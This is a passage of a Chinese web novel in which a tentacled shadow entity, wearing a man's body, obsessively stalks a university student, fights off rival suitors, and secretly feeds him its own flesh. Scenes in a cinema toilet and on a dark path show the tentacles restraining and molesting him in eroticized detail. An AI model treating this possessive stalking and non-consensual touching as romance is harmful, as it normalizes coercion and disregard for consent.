雪砚清当即以为“季瑾瑜”也想走了,果断答应,拉起对方的手。
一双柔软的手臂骤然接触到祂。
“哗——”
怪物瞬间起立,直挺挺地站在原地。
祂知道,他们人类在繁衍的时候都会寻一处僻静无人的地方。
祂的心脏开始跳动,急剧的心跳声在耳边炸响,连带着手臂上的筋脉也在鼓动,与雪砚清接触的整条手臂被震得发麻,身体彻底卡顿,而后被往下扯了扯。
雪砚清急忙把祂拉下来,低语:
“挡后排视线了。”
两人这个姿势在后面看来,就像是体型娇小的少年主动踮起脚尖,把前面高大的男人拉下来亲吻。
草!挡到视线了知不知道?有没有一点素质?!还恬不知耻地在电影院……
见此情景,风腾气得一阵咒骂,眉头皱得能夹死苍蝇。
前方较为纤细的少年在此时回过身。在黑暗中,一张莹白如玉的精致小脸就此展现,隔着数米外的距离,直直撞进风腾的眼瞳,即将破口的污言秽语瞬间哑然熄火。
是雪砚清。
是雪砚清!
他怎么在这?
他怎么和别的男人一起看这种电影!
他身边的男人到底是谁?!
雪砚清身边的男人似乎察觉到了风腾那灼热的视线,回过头,与风腾两相对望。
在黑暗中看不清对方的表情,但风腾清清楚楚地看见,对方当着他的面,挑衅地晃了晃被雪砚清牵着的那只手。
白得发光的手背搭在那只粗糙恶心的大手上,那抹白色刺得风腾恨不得将自己眼睛挖出来!
痛意透过眼球,瞬间漫山遍野地疯涨起来,将他整张脸都变得猩红狰狞。
随即风腾就双目猩红地看到,对方被少年拉起手,光明正大地相携离开。
他赶忙追过去。
8. 修罗场(修)
风腾紧随着跑出影厅,但这座电影院太大,路口拐角特别多,仅仅只是慢了一步,他就看不见前方两人的身影了。
他站在十字交叉口停留一会,左右张望,视线瞥到上方悬挂的一个卫生间行走标志。
雪砚清出门时经常干的一个小习惯在他脑子里徘徊了个来回。
风腾迅速转身,跟着上方提示的箭头向着卫生间跑去。
*
各个影厅都在闭门播放电影,走廊上格外安静,只有雪砚清和“季瑾瑜”两人的走动声。
人类繁衍时都会寻觅一个静谧无人的地方,这个念头在祂脑海里愈发强烈。
祂这副躯体的心脏在这般安静的氛围下,跳得格外大声,整颗心几乎都要跟随着雪砚清一同前去。
前方的少年在一处地方突然间止步。
似乎是到了目的地了。
祂心脏鼓动达到最大极限,猛地炸成了无数烟花!血液向着四肢百骸疯狂涌去,表皮都泛上了明显的潮红。
雪砚清刚好在此刻转身、抬头,几根上翘的发丝刚好擦过祂的嘴唇。
祂不自觉抿住那根发丝,在唇齿间研磨的同时,双眼直直盯着雪砚清的的唇瓣,等待着那抹粉色向祂靠近。
杏色的唇瓣微微开合,他的手也搭了过来。
两人间的距离随着动作越来越近、越来越近、越来越近!
“季瑾瑜”颤栗,皮肤上面无数细小绒毛都竖起。
随即,祂就听到雪砚清开口:“你帮我拿一下东西,我先去上一下卫生间,在这等我。”
说完,雪砚清便将手中的袋子塞进“季瑾瑜”的手里,急冲冲走进了厕所。
袋子接过,炽热的肌肤仿佛被瞬间迎头浇下一盆冷水,随着手中袋子的重量一同下坠。
祂的嘴角瞬间拉平,目光直勾勾地看着雪砚清远去的背影,但脚下的步伐却特别听话,乖乖停留在原地等着雪砚清。
雪砚清一进门,在卫生间站立的男子听到声响,迅速回头。
刹那间,一个巨大的身影猛地朝雪砚清飞奔而来!
风腾整个人拦在他前方必经之路上,急切开口:“砚清,我终于见到你了!我被家里关紧闭关了好几天,还被处于家规限制了消费,我知道错了。”
雪砚清眉头紧蹙,想要绕过他往左边走去,风腾的脚步马上紧随其上,继续喋喋不休。
“当初是我不应该,但是这归根结底是那个怪物寄生导致的,如果没有那个怪物,我压根就不会……”
雪砚清眉头蹙得更紧了,大腿根处微微并拢,脚下的步伐也变得急促,向着右边方向迈了一步。
对面之人迅速跟狗屁膏药似的黏上。
雪砚清将双腿并得更紧了。
被这么一而再、再而三地挡路,到底是从小被身边人众心捧月长大的小少爷,先前因为苦难暂且压抑的脾气彻底爆发!
雪砚清用力推开风腾拦路的手,“走开!我要上卫生间!”
这么一番大动作,牵动着下方肢体,本就岌岌可危的尿意将他击溃,整个身体都开始发颤。
雪砚清几步哆嗦着捂住肚子,快速上前,将门一把关上!
狠狠将跟狗一样追上来的风腾阻隔在外。
终于进去了卫生间,解决完个人问题,雪砚清长舒一口气,紧蹙不止的眉头也终于舒缓,心情也愉悦了不少。
他轻快地起身,正打算打开门锁出去。
外面的风腾听到门锁清脆的敲击声,整个人瞬间靠在隔间门板上,恨不得直接钻进缝隙里。
“砚清,我看见你和别的男人一起看电影了,你们俩还姿势亲密。”
说到此处,风腾话语间的嫉妒几乎要将这段话的语音语调都扭曲在一块,缓了几秒将这股酸意咽回肚子里,终于烘托出了自己的意图。
“你怎么不重新考虑一下我?我和你相处这么多年了,熟悉你的习惯,调教我不比现在去找一个新人方便?”
烦!
就算你不是罪魁祸首又怎么样,还不是基于你的欲望产生的。
雪砚清被他这喋喋不休的话语烦得够呛,正欲开口。
与此同时,外面的“季瑾瑜”猛地睁开眼睛!
经过上一个载体的经验教训,祂脚步不敢乱动,依照雪砚清的命令乖乖站在原地。但底下的影子发疯似的分裂出无数瓣,化身成为触手,借着阴影猛地向卫生间窜去!
祂看见雪砚清神情舒展,不复之前愁眉苦脸的样子。
祂看见他打算开门,就要撞进外面等候已久的恶心人类怀里。
祂看见他嘴唇微张,准备说话。
方才风腾的话语在祂脑子里不断回响、盘旋。
为什么我在这个身体里的时候,他就没有这样愉悦的神情?
为什么我在的时候就没有答应?
为什么答应他?
为什么答应!
不能答应!
蹲守在影子处的触手彻底爆发,无数触手蜂拥而上,围堵住嘴巴的位置,把雪砚清原本打算出口怒斥风腾的话瞬间封回嗓子眼里。
身体偏离卫生间把手的位置,雪砚清眼睛惊恐得睁大,双手用力地想去撕扯开嘴巴上的触手。
但如蚍蜉撼树,无济于事。
“救——”
雪砚清从口腔中挣扎挤出几丝呜咽想要求救,被触手迅速捕捉,粘腻的触手瞬间钻入口腔,将话语通通堵塞。
强烈的异物感让雪砚清的生理性泪水控制不住流出,连同着嘴边溢出的涎水,将鬓边柔软的头发被打湿,乱七八糟地贴在脸上。
他大脑一片空白,溢满水汽的眼瞳不住抖动。
是……是怪物,又有怪物。
为什么一直有怪物缠上自己……
嘴巴发出含混的呓语哭腔。
发声时口腔不自觉收缩,带动里面的触手随之震颤。
这种奇异的感觉几乎让触手在地上滩成了一大坨。
贪念使祂渴求更多,将原本站在地上的雪砚清掀起,彻底倒进祂的怀里,真切感受着对方身体的每一丝变化带给祂的感受。
无论是摔倒时用力揪住触手皮肉带来的刺痛感,还是站起来后骤然增大压强对触手的挤压感,抑或是包裹住身体时感受到的颤抖和湿润……
触手源源不断地将这种感觉传递给远在门外的“季瑾瑜”,本体开始轻微的振颤,从脚底板直直涌上大脑皮层!
颤栗!
幅度逐渐变大,大到最后上下嘴唇相互磕碰,发出清脆的“啵”声。
此刻的声音与电影院中主角亲吻发出的声音相吻合。
祂的眼睛缓缓睁大。
原来,这就是人类繁衍中的亲吻吗?
这一晃神,触手不自觉放松了力道,被雪砚清迅速捕捉到时机,用力扯下露出嘴巴活动的空间,从咽喉处猛地挤出压抑已久的声音。
在门板外面的风腾捕捉到了异常,急忙拍门,大声呼唤:“雪砚清!你还好吗?
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是摔了吗?发生了什么?”
而后他就听到自己心心念念的人绕过了就在门外的他,喊出了一个名字。
“季瑾瑜!”
随着话音落下,一道人影毫无所察地出现在风腾背后,宽大的肩膀向着他的方向猛地挤去,瞬间将他撞了个趔趄。
“我操的!干什么!”
风腾气愤抬头,就看见他紧扣半天迟迟不开的门在对方出声后,骤然打开!
身形娇小的少年一见到来人的身影,轻巧的身子就猛地扑向对方,将来人紧紧抱住。
雪砚清抬起脸,湿漉漉的一大片泪迹将睫毛沾成一簇一簇,有几根还因为揉弄沾到了眼皮,格外狼狈。
“季瑾瑜”身下站立的地方,触手犹如见到了洪水猛兽,瞬间“吓”得消退。
雪砚清喜色还未泛上脸颊,就看见它们通通向着自己腰部袭来!
“季瑾瑜”像是压根没有看见自己腰上的怪物般,就那样直挺挺站立在原地,双手自然垂放在身侧,不为所动。
好不容易止住的泪水在此刻再一次涌出眼眶。
雪砚清急切地拉起“季瑾瑜”的手,将对方的手用力按在自己腰部,语音颤抖:“季瑾瑜,帮帮我,快点帮我消灭腰上的怪物,它要爬进我的衣服里了。”
大手用力将他的腰回握住。
刹那间,一层又一层将他勒得几乎喘不上气的怪物猛地炸开,碎裂成无数黑色肉片,像蛆虫般在地上四处蠕动。
腰间上的束缚被一双大手取而代之,重新将他的腰身紧紧包裹。
雪砚清盯着向他脚尖不断蜿蜒而来的怪物碎片,脚尖拼命抬高点地,双手用力揽住“季瑾瑜”的脖子。
哭腔在嘴里徘徊调整了好几遍,终于能发出正常的音节时,被一道声音率先抢占!
“你**的!季瑾瑜!是你!我不在的日子你就这样撬我墙角是吧,贱货!”
腰部右侧的大手消失了。
雪砚清仓惶地抬起头,就看见“季瑾瑜”瞥向声音的方向,抬手挡住风腾袭来的拳头。
脚也向前迈步,即将要松开他。
怪物碎片碰到他鞋尖了。
怪物碎片正在往上爬。
不……
不……不可以……
不可以!
雪砚清水眸不断颤动,猛扑上前,双手用力揽住“季瑾瑜”的腰,整张湿漉漉的小脸紧紧贴在祂的背部,不肯让祂走。
“别松开我,别松开我!快抱我起来,下面有怪物,快抱我,季瑾瑜!”
最后喊出那个名字时,连带着哭腔也被用力挤出喉间。
祂顺应雪砚清的意愿,回头将他一把抱起。
一手拖住雪砚清的臀部,另一只手温柔地顺着他的脊背一下下抚摸,将头深深埋进雪砚清的颈窝,掩盖掉祂越扬越大的笑容。
“没事的,只要待在我的身边你就可以安全。”
而后祂在风腾怨毒嫉恨的眼神中,微微侧头,轻飘飘地瞥了对方一眼。
嫉妒、怨恨如毒蛇,瞬间将风腾的心啃咬得千疮百孔!
他看见雪砚清潮湿的脸颊靠在“季瑾瑜”的肩颈处,滴滴泪珠若有似无地滑落,全都滴进祂衣服里,被其全盘吸收。
恶心粗糙的大手按在雪砚清圆润的臀部上,因为他穿了短裤,那尾指甚至要溜进大腿缝里,而他无知无觉,双手居然还紧紧搂着这个贱货!
“我**的,你这个贱货,手往那里伸呢,给老子松开!”
9. 狼狈不堪(修)
风腾疾步上前,双手用力地想把“季瑾瑜”的手扯开。
原本趴在“季瑾瑜”颈窝的雪砚清在此刻终于抬起了头,给了他一丝眼神。
风腾神情一喜,急忙想对雪砚清说些什么,就看见他眼眸含泪但神色冰冷,开口:“风腾!松手!”
雪砚清在此刻的话语犹如火上浇油,风腾拉住“季瑾瑜”的手不仅没有松开,反而揪得更紧,直接一拳向着脸上袭来!
拳风擦过祂的脸颊,他手指携带的尖锐戒指猛地在鬓角处划出道又细又长的伤口,滴滴鲜血流出。
祂偏回侧着的头颅,没有管脸颊边流下的血迹。看着风腾这副怒火中烧的样子,露出的浅淡的微笑,不急不徐开口:“你难道想让砚清讨厌你吗?”
风腾重新挥舞起来的拳头瞬间停滞在半空中!
他拳头缓缓放下,指尖攥得死紧,上方青筋突起跳动,眼神死死地盯着祂抱着雪砚清嘚瑟远去的背影。
放任他们离开。
*
傍晚时分,夏天的暑气消了大半,不少大学生趁着这个时间点出来小吃街觅食。
大街上人群来来往往,小摊贩的吆喝、学生的嬉笑打闹、汽车的鸣笛……
雪砚清透过车窗,看到了万般烟火气息,同时也看到了自己现在的模样:头发乱糟糟的,几根眼睫毛还沾在眼皮上,眼尾、鼻尖、脸颊全是通红一片,甚至还有泪痕残留在上方。
衣服也在刚刚被揉得皱皱巴巴,手臂、脖子上还有淡淡的红痕。
格外,狼狈、不堪。
视线每略过一寸肌肤,大脑就自动放映对应的场景画面,自己狼狈不堪、涎水横流的模样在脑海中被一遍遍凌迟,不停回想身边人的面目神情。
窒息。
窒息。
无比的窒息。
他不敢去瞥身边“季瑾瑜”现在的神情,他不知道当初自己是以什么样的面目去向对方求助的。
祂有看见触手是怎么样戳进他口腔吗?
祂有看见触手是怎么样爬上他的脚踝吗?
祂有看见那恶心的触手是怎么样围住他的腰!然后……亵.玩的吗?
细微的疼意传来。
雪砚清低着头,攥得死紧的手松开。
他看着里面被指甲掐红的掌心,后又慢慢回拢,用力掐得更紧。
“小同志,到你们学校门口了,记得检查有没有遗漏个人用品。”
“好,谢谢师傅。”
雪砚清收拾东西,准备下车。
“季瑾瑜”早已经先一步下车。
祂发现周围从车上下来的人类们都会和身边人紧贴在一起,甚至手牵着手,愉快交谈。
观察到这一事实后,看着雪砚清从车门下来,朝自己一步步走来时,祂表面上仍维持着这副载体的性格,但体内的血液兴奋到疯狂涌动。
祂靠近雪砚清的半边身体僵硬得无法动弹,只剩下心脏跳动得越来越快,恨不得直接冲出胸膛,和雪砚清紧密相贴!
雪砚清朝着祂靠近了。
在那双修长白皙的手伸出的刹那,“季瑾瑜”的大脑瞬间闪过一幅幅画面,最后定格在他哭得泪雨朦胧,拉着祂的手,主动让祂抚摸自己腰的场景。
脚底下刚安分不久的影子再一次禁不住躁动起来,祂主动伸出手,按着先前的经验就想要往雪砚清腰上搂去!
雪砚清看见方才直愣愣站着的“季瑾瑜”终于有了反应,将伸出来的手收回,淡淡开口:
“你回神了?时间不早了,我先去食堂吃饭。”
随即他故意率先走进校园,朝着食堂方向走去。
雪砚清越走越快、越走越快、越走越快。
他要丢下“季瑾瑜”自己一个人走,他要逃离刚刚窒息的环境,他想要逃避这段记忆相关联的所有人!
他余光看见“季瑾瑜”的身影朝自己疾步追来,迅速排在自己正在排的队伍末尾,张嘴似乎想要说什么。
雪砚清不想聊天。
不敢聊天。
他担心“季瑾瑜”在此刻会询问什么有关于方才场景的问题。
于是匆匆拿出手机,低头、逃避。
正巧班群发来了新消息。
【学习委员:因学校的运动节,下个星期三晚间的课调到今天晚上。大家七点半记得来上课哦,顺便带上论文打印稿。(玫瑰)(玫瑰)】
突如其来的安排打乱了雪砚清的节奏。他垂眸,开始计算距离晚课的这一个半小时够不够改论文和吃饭。
专心计算之下,雪砚清也就没有注意到“季瑾瑜”悄无声息地将自己的位置从后方挪到和他齐平的位置。
祂悄悄享受着拥挤人群让两人衣料间相互摩擦,甚至手臂上的肌肤碰撞、相贴。
“同学、同学,你要打什么菜?”
食堂阿姨连续喊了好几声,雪砚清才回过神来,抬头挑选菜品。
这边食堂似乎前段时间换了供应商,菜色看起来比之前好吃了不少,但是价格也更贵了,一道肉菜就需要七八块。
他将手指向最近的炒萝卜丝。
抬手间,两人原本紧紧相贴的手臂肌肤被无情分开。
“阿姨,打包,谢谢。”
雪砚清提起打包袋、转身这几个动作,又让祂想要靠近重新贴紧的行径连续落空好几次。
祂原本愉悦的神情瞬间消泯殆尽,周身温度都下降了几分。
但雪砚清毫无所觉,甚至为找到了极佳的理由来躲避“季瑾瑜”感到松了口气。
“季瑾瑜,我论文格式还没有改,我需要在晚课前修改好交给老师,我就先打包回去宿舍吃饭了。”
没来得及等待对方回答,他便急匆匆向着宿舍赶去。
徒留祂停留在原地。
“吃饭。”
祂喃喃。
因为吃饭所以要离开吗?那吃饭的时候在一起就好了。
“季瑾瑜”转身,看向雪砚清端详了有一段时间的肉菜,脚下的影子逐渐变得浓黑幽深,而后猛地缺失了一小块。
断的那截部分竟露出了和食堂肉菜一模一样的粉色横截面!
“季瑾瑜”笑了。
祂看着雪砚清提着的打包袋,露出了享受的、陶醉的、幸福的笑容……
*
正值饭点和新店开业,食堂人格外多。
雪砚清跑的速度过快,来不及反
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应,在两条道路□□叉处,和一道身影猛地相撞!
餐盘上的汤汤水水瞬间撒了他一身,白色的衣服染上了深深的油迹。
对面的青年急忙稳住身形,端住摇摇欲坠的餐盘,“抱歉抱歉,十分抱歉同学,我给你转账赔钱吧,真的不好意思,毁了你一件衣服。”
而后满带歉意抬头,在看向雪砚清面容时,手部动作停滞在原地。眨眼间脸就泛上红晕,眼神躲闪,却又忍不住再多瞥上几眼。
眼前的少年身着白色的衬衫,被汤淋上后有些半透明的衣服就这样湿哒哒地紧贴在腰侧,勾勒出纤细的腰肢,甚至隐约间透出内里的雪白。
“同学,我……我们加个微信吧,我好转账给你。”
“不用,没关系,谢谢你。”
雪砚清还要回去赶论文。摆摆手拒绝,丢下这句话便向着宿舍急匆匆跑去。
回到宿舍,他简单换了身干净的衣服,就端坐在电脑前,一边打开电脑修改论文格式,一边机械地朝嘴里塞着米饭。
随着键盘“咔吧”空格键的落下,牙齿似乎咬到了什么东西,和周围的胡萝卜丝的触感格外不同。
雪砚清停下手里的动作,低头察看自己咬了一半菜。
食堂阿姨似乎舀完菜品后,上方的肉碎残留在锅铲上,就来盛这道胡萝卜丝,里面零星参杂了一些肉菜,明显是他刚刚在食堂看到的其他菜色。
只是这个肉的味道不同于以往他在市面上吃到的任何肉。
雪砚清低头又尝试性地咬了一小口,观察肉块的横截面。
是淡粉色的。
他垂眸,两腮微微鼓起,仔细品尝其中的味道。
带有点刚刚好的嚼劲,肉质紧实,但似乎因为吸饱了汤汁,居然有些鲜嫩。
市面上的肉好像没有这么鲜嫩的,感觉像是加了添加剂才能做成的。是嫩肉粉吗?
雪砚清打开手机正欲搜索时,一条消息弹了出来。
【季瑾瑜:我们什么时候可以再见一面?】
雪砚清看了眼课表,眼睛顺带瞥到上方的时间,距离上课时间所剩无几了。
他匆匆回复。
【笔墨纸砚:我们的课程安排好像都不太重合。不过周三体育节放假就有时间了。我继续去写论文了拜拜。】
屏幕熄灭。
“季瑾瑜”缓缓抬起了头,将目光转向在寝室内外放视频的舍友。
“受暖湿气流北上的影响,南方地区出现大范围的强降雨,甚至部分地区出现台风红色预警,部分高校已经宣布放假停课。
关注我,评论区发布111,我来帮你预测放假几率有多高~”
“降雨”、“放假”、“有时间”。
接收到这些信息,祂将头一点、一点地扭向窗外,盯着外面还算晴朗的天空,脚底下的影子瞬间穿透厚厚的墙体,向外界绵延而去!
影子如液体般迅速淌进泥土里。
与此同时,天空中原本还算是乳白的云刹那间变得浓黑,天与地的交界在此刻变得模糊不清,全都变成黝黑的一片片。
雷鸣声炸响,划破天际!
要下大暴雨了。
祂露出微笑。
10. 猪笼草(修)
雪砚清把这碗饭吃完后,将电脑文档上传到手机,走去打印店复印论文。
南方的夏天似乎格外多雨,方才还是一片晴朗的样子,雪砚清一走出打印店,就呼啦啦掀起大风。
阵阵狂风将校道两旁的树枝吹得摇摇晃晃,扑簌簌掉下大片大片叶子。
数到白色电光划破夜空,还没等人有一个适应的时间,倾盆大雨迎头浇下。
雪砚清赶忙缩回打印店,撑开雨伞。
最近雨下得太多了,伞一直没有得到机会充分晾干,内里支撑的伞骨锈得格外严重。
他用力往上撑了好几次,发现都无法打开。
雪砚清匆匆打开手机查看时间,距离上课时间只剩下23分钟了,现在跑回去商超买一把新的雨伞时间完全不够。
他嘴角抿了又抿,将背包紧紧揣在胸前掖好,而后拉出雨伞的一块帆布,像荷叶一样罩在头顶,向着茫茫大雨猛地冲去!
“同学、同学!”
忽地在茫茫雨幕中,有一道声音由远及近逐渐向他奔来。
雪砚清脚步不由慢下,微微侧头看向声音传来的方向——是傍晚在食堂碰到的那个人。
许乐看见眼前的少年停下脚步,朝自己望来,心下一喜,当即加快了脚下的步伐,将伞撑在雪砚清头顶。
雪砚清一愣,开口:“谢谢你。”
雨势太大,两人同撑一把伞还是有些勉强。
雪砚清半边肩膀被雨水淋得湿了大半,湿哒哒的水迹顺着肩颈处流到胸口,冻得他瑟缩了一下。
许乐见状,悄悄将手中的伞向着雪砚清的方向倾斜了下。
这点小动作却被他迅速发现。
雪砚清伸手轻推了下伞柄,将方向重新摆正,“同学,谢谢你,我过来站中间一点就行,就是我这边衣服也湿了,水迹可能会蹭到你,你介意吗?”
许乐顺着雪砚清手指的方向望去,那半边肩膀被打湿的衣物紧贴着,锁骨被勾勒而出,随着主人的说话起伏律动,好像下一秒就要随着这雨水流动到他的眼睛底。
他脸登时又红了,嘴巴张开支支吾吾半天说不出话。
察觉雪砚清投向他的视线,担心自己迟迟不开口雪砚清会以为他不愿意,他赶忙开口:“不介意不介——”
说到最后一个字时,许乐急得狠狠咬到了舌头。
刚要开口叫唤,手臂处就被温软轻轻贴住,他瞬间禁声,手脚僵硬,当场同手同脚,重重踩进旁边的水洼,溅起一身泥点子。
“你没事吧。”
听到雪砚清关切的声音,感受到他投来的目光,许乐脑子都晕晕乎乎起来。
本就不甚在意的他现在更是美滋滋,甚至高兴于溅到水有了开口和雪砚清说话的机会。
他是高兴了,水洼里的祂却是一点也笑不出来。
祂自水洼里探出大半根腕足,阴恻恻的眼神直勾勾地盯着借着这个机会开始喋喋不休和雪砚清讲话的青年。
雨势轰然变大,准确无误地泼进许乐半边身体,瞬间将他浇了个透心凉。
然后祂就听到那人类死皮赖脸地对雪砚清说:“刚刚雨好大,你要不要再过来一点?担心被淋到。”
甚至听到了雪砚清的应好和感谢声,眼睁睁看着他向那心机的人类又靠近了一点!
两人终于走到了教学楼,收起雨伞来到温暖干爽的场所,身上潮湿衣服的存在感就更加强烈。
雪砚清低头,难受地扯了扯衣服,眉头皱起,小脸瘪成一团。
站在一旁的许乐立马察觉,开口:“同学,你等等,傍晚时我不小心泼到了你的衣服,买了一身想着遇到你的时候给你送过去,没想到现在就派上用场了。”
说着,他从背包中掏出一个精美的纸盒,上方居然还打上了一个小巧的蝴蝶结。
打开,成套的衬衫长裤被整齐地叠好,摆放在内。
雪砚清站在一旁不动,不知道该不该接受。
瞧出他的犹豫迟疑,许乐夹带了自己私心迅速补充,“要是不好意思,我们可以加个好友,钱你到时转我就行。夏天教室内开空调,穿湿衣服进去会感冒的。”
雪砚清刚一点头,掏出手机。
许乐便迅速打开早已经准备好的绿泡泡二维码,放在他手机下方,火速通过雪砚清的好友申请,生怕夜长梦多。
雪砚清捧着柔软干爽的衣服,被雨水浸湿的冷意让他情不自禁地用脸蹭了蹭衣服,随后抬起像猫儿般的小脸,真诚道谢:
“真的十分谢谢你,要是没有你帮我,我都不知道该怎么赶到教学楼。同学,我叫雪砚清。请问你叫什么,这套衣服多少钱,我转你。”
外面的狂风透过窗户猛地吹进来,不偏不倚,刚好吹在两人中间,硬生生将两人的距离吹远了些。
雪砚清被风吹得打了个冷颤。
见状,许乐赶忙将雪砚清推旁边的卫生间,跟打快板似的快速开口:
“我叫许乐,我家干服装的,这衣服也就几十来块,快到上课时间了,砚清你快去换衣服吧。”
雨水疯涌着想泼进走廊,却被窗户挡住了大半,滴滴雨珠密密麻麻地挂靠在玻璃上,如同一双双眼睛,凝视着里面的一切。
祂看见雪砚清换上那个恶心人类给的衣服,对对方露出浅淡温和的笑容,表情舒适惬意,和面对自己时完全不一样。
为什么为什么为什么为什么,哪里出了错误?不应该因为下雨然后和自己出去吗?难道是自己没有给他送衣服吗?
是的。
是衣服的问题!
化成雨水掉落在地的万千碎片迅速汇集、重组,眨眼间组成了一个人形模样。
雪砚清换好衣服出来后,估量着许乐给自己说的价格,当即给他转了一百块,钱包里的余额登时少了五分之一。
“砚清,不用不用,我傍晚毁了你一件衣服,这是赔礼。”
雪砚清刚要推拒回去,就在此时,另一道声音响起:“砚清,我看见外面下大雨,想着你衣服可能会淋湿,就过来给你送身衣服,都是你的尺码和常穿的款式。”
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>他顺着声音传来的方向望去。
竟然是“季瑾瑜”。
祂大半个人笼罩于黑夜里,浑身湿哒哒的,犹如刚从深潭里爬出来的潮湿水鬼,唯有手心里捧着的衣服是干爽的。
恍惚间,雪砚清看见“季瑾瑜”身下的影子分出来无数条岔道,与身后的瓢泼大雨紧密相连,像是漫天飞舞的长发,又像是当初在卫生间遇到的粘腻触手!
祂抬起头,没有了充足的自然光补充,眼神格外漆黑、幽深。
两人目光相对,雪砚清在此刻竟然有种被猎物盯上的错觉感,脚步不由后退,直到卫生间冰凉的墙壁与他肌肤相贴。
他想要打招呼的话在此刻瞬间哑然,神情闪躲逃避。
“季瑾瑜”慢慢走近,整个人逐渐暴露在走廊温暖的灯光下,眉眼都变得格外柔和,方才的黑影在他的温和浅笑下眨眼间消失得无影无踪,似乎刚刚的一切都是幻觉。
祂对雪砚清温和笑着,将手里的衣服递给他,“我们还是不要接受陌生人平白无故的东西比较好。我给你带了身干净衣服。”
对方温和的笑容在雪砚清眼前不断放大、放大……那咧开的嘴巴让他莫名联想到了小学课本里面的猪笼草,会分泌出甜蜜的液体,待到猎物被甜言蜜语所哄骗,就猛地关上牢笼,被其捕食。
他身体发僵,立在原地,迟迟没有接。
动作迟迟没有接受方,“季瑾瑜”微笑的嘴唇慢慢下拉,随即转向站在一旁的许乐,重新挤出笑容。
“你好,同学,送人衣服还是要了解尺码的好,否则穿的衣服不合身,丢了不合适,放着也占地方不是?”
许乐没有回应“季瑾瑜”的敌意,反而对着雪砚清开口,“砚清,距离上课时间只剩3分钟了。”
上课预备铃适时响起。
雪砚清从刚刚的梦魇中挣扎而出,推开“季瑾瑜”递到眼前的衣服,慌忙开口:“不用了,我已经和许乐同学买了这套衣服,现在我得去上课,再见。”
而后借着上课这个理由,匆匆前去教室,躲避开祂。
祂缓缓扭头,森冷的目光投向许乐。
许乐迎上祂的视线,礼貌开口:“同学,看雪砚清同学对你生疏的样子,你们应该也不是情侣关系吧?请问你是雪砚清同学的什么人呢?我想,他接受谁的衣服、和谁在一起相处,你应该无权管理吧。”
祂没有管许乐说了什么,径直就要跟着雪砚清的脚步上楼听课的样子。
许乐见状,皱眉、一把拉住“季瑾瑜”的手臂,“学校专业大部分都是小班制教学,现在都已经上课有一段时间了,你跟上去干什么?他是独立的人,你难道要像衣服一样天天挂在他身上吗?”
祂前进的步伐瞬间顿住,嘴角逐渐往上扬,越来越大、越来越大!
如果此刻有人站在祂的正面,就可以看见祂嘴角直直拉到眼尾,露出里面鲜红的肌肉纹理,笑肌不断抖动、牵动面部各个肌肉群都在颤动。
祂一点点扭头看向身后,缓缓开口:“谢谢你的提议。”
11. 洗澡(修)
下课铃终于响了,雪砚清收拾东西出门。
两个小时过去,大雨已经停了,但空气中残留着潮湿的气息,地面上全是大大小小的水洼。
学校路面实在是凹凸不平,特别是眼前这条铺了青石板的地面,时间久了,石板松动,每到下雨天就是一个小机关。
一旦有人不小心踩到,松动的石板就会瞬间上翘,将隐藏在其中的水通通挤压而上!
“啪啦!”
溅了雪砚清一身。
他提起有些略长的裤子,低头左右查看,裤摆上简直没眼见人,甚至连手都不能幸免遇难,手背上赫然出现了一块大大的泥点子。
没带纸……
雪砚清干净的那只手在书包里面翻了半天,最后遗憾地发现自己晚上出门太急了,连面巾纸都忘了带。
他盯着前方还要走十几分钟才能到达宿舍的“扫雷版”青石路,陷入了深思。
最后扭头向着旁边的小道走去。
这条小道还是之前他无意间发现的,因为路程比大道稍微要长一点,再加上没有什么路灯,所以基本没人走,格外荒凉。
但在雨天这样的路况里,简直像是保命一般的存在。平坦整齐,不会出现突然间溅水的情况。因而每次雨天过后,雪砚清总爱走这条路。
他打开手机照明功能,一人脱离归巢的大部队,在小道上慢慢悠悠地行走着。
两侧的植被格外多,大风一吹,便细细簌簌摇晃起来,纤而长的植绒时不时擦过雪砚清的后脖颈,痒痒的。
雪砚清伸手,想要将在后颈作乱的植物揪出来。摸到的却不是植物那毛茸茸的绒毛,而是一个湿滑粘腻的东西。
那东西在他掌心中迅速溜走,像水珠般,迅速融进了他的衣服,与后背上的肌肤紧紧相贴。
冷。
雪砚清被冻着打了个寒颤。
他慌忙将后方的衣服拉扯到眼前,尽力扭头想要去看到底是什么。
那东西似乎察觉到了雪砚清的意图,透过细细密密的针织布料,可以看见里面的黑色怪物在不断向着正前方蠕动!
雪砚清急切地掀开衣服,乳白的腹部骤然暴露在微凉的夜晚中,小腹有些收缩,但是他丝毫没有在意,手焦急地伸进去,想要将藏在里面的那条恶心怪物揪出来。
没有。
什么都没有。
一片光滑平整。
衣服上也是平整光滑的,就先是那个怪物已经化成了丝线,被深深绣进了衣服里面,成为了装饰品。
他颤动地伸出手,忍着恶心想要去扣衣物上的丝线。
泛着淡粉的指尖触及到黑色怪物的一刹那,无数丝线在雪砚清面前生长、重组,迅速蔓延到他的手背上,当场织成了一块布。
有些粘腻的布料与光滑的手背摩擦,湿滑粘腻恶心感直冲头皮!
雪砚清疯狂甩动手臂,那块布料仿佛已经成为了自己身体的一部分,死死黏在上方。
他能够清楚地感受到手背被有些粗糙、湿软的布料一寸寸舔舐的酥麻感,甚至还能感受到对方舔舐自己皮肤的兴奋、颤栗。
两种别样的感觉同时传输进大脑,他几乎要宕机、无法加载。
雪砚清伸手用力撕扯着这块布料,撕扯感也源源不断地传输进他的大脑。
他强忍着着痛意,硬生生将那块布料与肌肤相剥离出一条细小的缝隙。
让人头皮发麻的感觉终于消——
雪砚清整个身体骤然发颤,分开的布料竟然在此刻长处了乳牙,正在研磨自己的手背!
先前手背被溅上的污渍已经被怪物舔得七七八八,怪物紧追着残留的那点泥印子死命啃咬、舔舐,尖锐的牙齿将那几点痕迹吃得干干净净,只留下道道潮湿的水痕。
那东西似乎吃饱了,贴在手上的附着力下降。
雪砚清抓住机会,瞬间揪住那片变异的布料,从背包里掏出尖锐的钢笔,用力往下扎去!
将其和正常的布料彻底分割开,狠狠将祂丢在脚下,用力践踏在下方湿润的泥地里。
当足尖踩到那块布时,原本还算平面的东西瞬间有了体积,眨眼间膨胀,紧紧黏住他的鞋子,顺着鞋面就要蜿蜒到小腿!
雪砚清牙齿紧咬,果断脱下鞋子,将鞋子连带着恶心的鬼东西一起向着后方狠狠扔去!
袜子上面也沾染上了怪物的汁液,一同脱下,通通扔掉。
现在他的模样格外狼狈,身前的布料被硬生生划拉开,不规则的豁口一直蔓延在胸口。在快速奔跑下,被撕扯得近乎像披风状的衣服不停向后飞扬,露出大片大片乳白的肌肤。
雪砚清只能狼狈地将书包背在身前,但在行动间,依旧能够从中窥见一点淡粉的花蕊。
